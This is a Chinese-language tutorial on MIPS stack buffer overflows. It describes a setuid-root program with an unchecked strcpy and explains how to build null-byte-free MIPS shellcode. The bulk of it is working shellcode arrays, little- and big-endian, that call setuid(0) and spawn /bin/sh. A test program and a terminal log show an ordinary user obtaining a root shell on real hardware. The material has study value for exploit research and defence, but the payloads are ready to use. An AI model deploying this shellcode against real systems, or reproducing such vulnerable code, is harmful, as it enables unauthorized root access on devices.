MIPS 缓冲区溢出
有这样一个可执行程序 vic,它的属性为:
-rwsr-xr-x 1 root comcat vic
它的拥有者是root,普通用户可以执行且执行时具有拥有者的权限(如系统中的 /usr/bin/passwd)。假设它的设计者把代码写成如下:
#include <stdio.h> int main(int argc, char *argv[]) { char buf[100]; if(argc>1) strcpy(buf, argv[1]); return 0; }
其在main函数的栈上开辟了一个100字节的缓冲区。在 Linux 下,当一个函数调用其他函数时(非leaf函数)会将返回地址保存在栈上,而且就在buf上面不远处!
如果我们将下面这段代码改造,编译后,获取其机器码,然后转成字符串,且将该字符串的始地址作为参数传给 vic 之 main(),则其会将保存在栈上的返回地址覆盖成该字符串的起始处,那么当main函数返回时,将跳到我们构造的代码处,获取到一个具有root权限的shell:
char *name[2]; setuid(0); name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL);
其在 MIPS 上对应的机器机器码为:
4002e0: 00842026 xor a0,a0,a0 4002e4: 24020fb7 li v0,4023 4002e8: 0000000c syscall 4002ec: 3c086e69 lui t0,0x6e69 4002f0: 3508622f ori t0,t0,0x622f 4002f4: 3c090068 lui t1,0x68 4002f8: 3529732f ori t1,t1,0x732f 4002fc: afa80000 sw t0,0(sp) 400300: afa90004 sw t1,4(sp) 400304: afbd0008 sw sp,8(sp) 400308: afa0000c sw zero,12(sp) 40030c: 03a02021 move a0,sp 400310: 23a50008 addi a1,sp,8 400314: 00003021 move a2,zero 400318: 24020fab li v0,4011 40031c: 0000000c syscall
则:
int shellcode_mips[]= { 0x00842026, 0x24020fb7, 0x0000000c, 0x3c086e69, 0x3508622f, 0x3c090068, 0x3529732f, 0xafa80000, 0xafa90004, 0xafbd0008, 0xafa0000c, 0x03a02021, 0x23a50008, 0x00003021, 0x24020fab, 0x0000000c };
上面的思路在 x86 这类 CISC 上没有任何问题,因 x86 上对指令的编码极其紧凑,但对 MIPS 这类 RISC 处理器则有些困难,因为我们要构造一个字符串通过命令行参数传给 vic 之 main () ,而字符串之结尾是为一个 "0x00" (NULL) ,这个字节在 MIPS 的指令编码里随处可见,如 MIPS 上触发 system call 之 syscall 指令编码为 0x0000000c,其放在一个字符串里就是3个0x00,这个是在 MIPS 上构造 shellcode 之困难。
鉴于 MIPS 本身的设计,在其上构造 shellcode 需要死更多的脑细胞:
char shellcode[] = { "\x50\x73\x06\x24" /* li a2,0x7350 */ "\xff\xff\xd0\x04" /* LB: bltzal a2,LB */ "\x50\x73\x0f\x24" /* li $t7,0x7350 (nop) */ "\xff\xff\x06\x28" /* slti a2, $0,-1 */ "\xe0\xff\xbd\x27" /* addiu sp,sp,-32 */ "\xd7\xff\x0f\x24" /* li t7,-41 */ "\x27\x78\xe0\x01" /* nor t7,t7,zero */ "\x21\x20\xef\x03" /* addu a0,ra,t7 */ "\xe8\xff\xa4\xaf" /* sw a0,-24(sp) */ "\xec\xff\xa0\xaf" /* sw zero,-20(sp) */ "\xe8\xff\xa5\x23" /* addi a1,sp,-24 */ "\xab\x0f\x02\x24" /* li v0,4011 */ "\x0c\x01\x01\x01" /* syscall */ "/bin/sh" };
构造的基本思想就是避免指令编码里出现 0x00,如 syscall 的编码一般为 0x0000000c,据 MIPS 规范,其编码的有效位为高 6 位(皆为 0)和低 6 位(为 0xc)中间 20 位是留给软件的 code 位,硬件不对这 20 位进行解码,因此就可以将其编码为 0x0101010c 或者 0x034748cc 皆可避免 0x00。
上面这段代码来自一个 Email 为:vaicebine at gmail dot com 兄弟,参考:http://www.milw0rm.com/shellcode/6265
此为小端 MIPS 所用,大端 MIPS 为:
char shellcode[] = { "\x24\x06\x73\x50" /* li a2,0x7350 */ "\x04\xd0\xff\xff" /* LB: bltzal a2,LB */ "\x24\x0f\x73\x50" /* li $t7,0x7350 (nop) */ "\x28\x06\xff\xff" /* slti a2, $0,-1 */ "\x27\xbd\xff\xe0" /* addiu sp,sp,-32 */ "\x24\x0f\xff\xd7" /* li t7,-41 */ "\x01\xe0\x78\x27" /* nor t7,t7,zero */ "\x03\xef\x20\x21" /* addu a0,ra,t7 */ "\xaf\xa4\xff\xe8" /* sw a0,-24(sp) */ "\xaf\xa0\xff\xec" /* sw zero,-20(sp) */ "\x23\xa5\xff\xe8" /* addi a1,sp,-24 */ "\x24\x02\x0f\xab" /* li v0,4011 */ "\x01\x01\x01\x0c" /* syscall */ "/bin/sh" };
上述大端 shellcode 在 NEC EMMA3p 和 Cavium Octeon cn5800 上测试通过:
test@localhost:/home/test> cat cool.c #include <stdio.h> char shellcode[] = { "\x30\x04\xff\xff" /* andi a0, zero, 0xffff */ "\x30\x05\xff\xff" /* andi a1, zero, 0xffff */ "\x34\x02\x0f\xe6" /* li v0, 0xfe6 */ "\x03\x49\x48\xcc" /* syscall 0xd2523 */ "\x24\x06\x73\x50" /* li a2,0x7350 */ "\x04\xd0\xff\xff" /* LB: bltzal a2,LB */ "\x24\x0f\x73\x50" /* li $t7,0x7350 (nop) */ "\x28\x06\xff\xff" /* slti a2, $0,-1 */ "\x27\xbd\xff\xe0" /* addiu sp,sp,-32 */ "\x24\x0f\xff\xd7" /* li t7,-41 */ "\x01\xe0\x78\x27" /* nor t7,t7,zero */ "\x03\xef\x20\x21" /* addu a0,ra,t7 */ "\xaf\xa4\xff\xe8" /* sw a0,-24(sp) */ "\xaf\xa0\xff\xec" /* sw zero,-20(sp) */ "\x23\xa5\xff\xe8" /* addi a1,sp,-24 */ "\x24\x02\x0f\xab" /* li v0,4011 */ "\x01\x01\x01\x0c" /* syscall */ "/bin/sh" }; int main(int argc, char *argv[]) { void (*p)(void); p = shellcode; printf("shellcode size %d\n", sizeof(shellcode)); printf("shellcode addr 0x%08x\n", shellcode); p(); return 0; }
test@localhost:/home/test> ls -lh total 8.0K -rwsr-xr-x 1 root test 5.9K Sep 1 2009 cool test@localhost:/home/test> id uid=500(test) gid=500(test) groups=500(test) test@localhost:/home/test> ./cool shellcode size 76 shellcode addr 0x10010970 sh-3.2# id uid=0(root) gid=500(test) groups=500(test) sh-3.2# cat /proc/cpuinfo system type : EBT5800 (CN5860p2.3-800-NSP) processor : 0 cpu model : Cavium Octeon V0.11 BogoMIPS : 1601.82 wait instruction : yes microsecond timers : yes tlb_entries : 64 extra interrupt vector : yes hardware watchpoint : yes ASEs implemented : shadow register sets : 1 core : 0 VCED exceptions : not available VCEI exceptions : not available processor : 1 cpu model : Cavium Octeon V0.11 BogoMIPS : 1601.82 wait instruction : yes microsecond timers : yes tlb_entries : 64 extra interrupt vector : yes hardware watchpoint : yes ASEs implemented : shadow register sets : 1 core : 0 VCED exceptions : not available VCEI exceptions : not available ...... ...... ...... processor : 15 cpu model : Cavium Octeon V0.11 BogoMIPS : 1601.82 wait instruction : yes microsecond timers : yes tlb_entries : 64 extra interrupt vector : yes hardware watchpoint : yes ASEs implemented : shadow register sets : 1 core : 0 VCED exceptions : not available VCEI exceptions : not available
在 RMI XLR732 上得到 "Segmentation fault",经查发现是因为 XLR732 的内核加了一个 fast system call 的特性,其使用 syscall 指令之中间 20 位 code 域来加速 system call 的处理,因此类似 0x0101010c 的编码会让内核进入一个不可用的入口地址处导致内存保护异常
此外,还有一可用 shellcode 为:
char shellcode2[] = { "\x30\x04\xff\xff" /* andi a0, zero, 0xffff */ "\x30\x05\xff\xff" /* andi a1, zero, 0xffff */ "\x34\x02\x0f\xe6" /* li v0, 0xfe6 */ "\x03\x49\x48\xcc" /* syscall 0xd2523 */ "\x04\x10\xff\xff" /* LB: bltzal zero, LB */ "\x24\x02\x0f\xab" /* li v0, 4011 */ "\x20\x46\xf0\x55" /* addi a2, v0, -4011 */ "\x23\xff\x06\x66" /* addi ra, ra, 1638 */ "\x23\xec\xf9\xc2" /* addi t0, ra, -1598 */ "\x23\xbd\x06\x66" /* addi sp, sp, 1638 */ "\xaf\xac\xf9\x9a" /* sw t0, -1638(sp) */ "\xaf\xa6\xf9\x9e" /* sw a2, -1634(sp) */ "\x23\xbd\xf9\x9a" /* addi sp, sp, -1638 */ "\x01\x80\x20\x21" /* move a0, t0 */ "\x03\xa0\x28\x21" /* move a1, sp */ "\x03\x44\xcd\xcc" /* syscall 0xd1337 */ "/bin/sh" };
这段代码来自:http://www.milw0rm.com/shellcode/1306
在 NEC EMMA3p 和 Cavium Octeon cn5800 上测试也通过。